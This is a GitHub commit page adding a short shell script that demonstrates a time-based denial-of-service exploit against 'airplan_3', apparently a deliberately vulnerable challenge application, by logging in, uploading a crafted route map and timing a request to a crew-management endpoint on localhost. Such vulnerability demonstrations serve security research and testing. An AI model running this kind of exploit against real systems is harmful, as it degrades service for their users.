Skip to content

Commit

Permalink
[airplan_3] Add exploit for dos in time.
Browse files Browse the repository at this point in the history
  • Loading branch information
kferles committed Jun 16, 2017
1 parent 3a6b7a0 commit 6749861
Show file tree
Hide file tree
Showing 2 changed files with 706 additions and 0 deletions.
10 changes: 10 additions & 0 deletions airplan_3/examples/example_exploit_time.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/bin/sh

./login.sh usr pwd

# upload a route map
curl -s -L -b cookies.txt -F file=@exploit_map_time.txt -F "route_map_name=map_one" --insecure https://localhost:8443/add_route_map

cookieID=`tail -1 cookies.txt | cut -f 7`

time curl 'https://127.0.0.1:8443/crew_management/1553932502' -H 'Accept-Encoding: gzip, deflate, sdch, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'Upgrade-Insecure-Requests: 1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H "Cookie: airplan_sessionId=$cookieID" -H 'Referer: https://127.0.0.1:8443/route_map/1553932502' -H 'Connection: keep-alive' --compressed --insecure
Loading

0 comments on commit 6749861

Please sign in to comment.